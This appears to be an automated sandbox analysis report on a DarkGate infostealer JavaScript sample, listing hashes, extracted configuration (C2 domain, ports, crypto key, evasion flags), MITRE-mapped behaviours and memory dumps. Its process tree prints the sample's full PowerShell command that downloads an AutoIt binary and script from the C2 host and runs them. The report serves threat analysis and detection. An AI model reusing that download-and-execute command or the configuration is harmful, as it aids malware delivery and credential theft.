darkgate | bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a

General

Target

2bacda979c484df5fd7784c99fc455b7.js
Size

135KB
MD5

2bacda979c484df5fd7784c99fc455b7
SHA1

428d1b68b85af4b318153f97d65214e3f6da19bd
SHA256

bac9fd3ebd3834621e46688476885dca7005e78eda48bc9c1271bf9e203afc6a
SHA512

6b4f40b7a76b9314c5c6513cc115e2665339181f3d88f50b165abb5a93f0575beeb204d52bc6af3180f3808a1abfb2bf54fd254a06fc9511ab7e651a1dce45d1
SSDEEP

1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0t:0T9U7hgaX6eerjqlI2IO6Mzqfl

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://jeraldsin3dsajdklafdmonk.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
true
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
jALdIGkuGDFSmI
internal_mutex
txtMut
minimum_disk
70
minimum_ram
6000
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	4756	powershell.exe
28	4756	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2820	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4756	powershell.exe
4756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4756	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 4756	1596	wscript.exe	88
PID 1596 wrote to memory of 4756	1596	wscript.exe	88
PID 4756 wrote to memory of 2820	4756	powershell.exe	99
PID 4756 wrote to memory of 2820	4756	powershell.exe	99
PID 4756 wrote to memory of 2820	4756	powershell.exe	99

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2bacda979c484df5fd7784c99fc455b7.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" bbdthtgy.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mp1mazow.h0p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\tepp\bbdthtgy.au3

Filesize
536KB

MD5
bbb0f7cd40ed7c626e70c58ee40d6dd5

SHA1
5f6c932f058693f4cdcd70540981064b683c4d7a

SHA256
04b46fa60521d98a81f9f0aca164f9a0cc36a6c2d30f326836e188ea2325849e

SHA512
c78a9de93da19287ccb5fc346084c3eb1bff883cd161b7dc7489f6472fc4355080f358fec3f0d2b92d276e449c58d3ab943164f0d5a7f6d5a00cdc784ab11b1b

Download Submit
memory/2820-29-0x0000000003C40000-0x0000000003D40000-memory.dmp

Filesize
1024KB

Download
memory/2820-30-0x0000000004330000-0x00000000044C5000-memory.dmp

Filesize
1.6MB

Download
memory/2820-31-0x0000000004330000-0x00000000044C5000-memory.dmp

Filesize
1.6MB

Download
memory/4756-0-0x0000024D35510000-0x0000024D35532000-memory.dmp

Filesize
136KB

Download
memory/4756-10-0x00007FF99D1A0000-0x00007FF99DC61000-memory.dmp

Filesize
10.8MB

Download
memory/4756-11-0x0000024D354D0000-0x0000024D354E0000-memory.dmp

Filesize
64KB

Download
memory/4756-12-0x0000024D354D0000-0x0000024D354E0000-memory.dmp

Filesize
64KB

Download
memory/4756-26-0x00007FF99D1A0000-0x00007FF99DC61000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads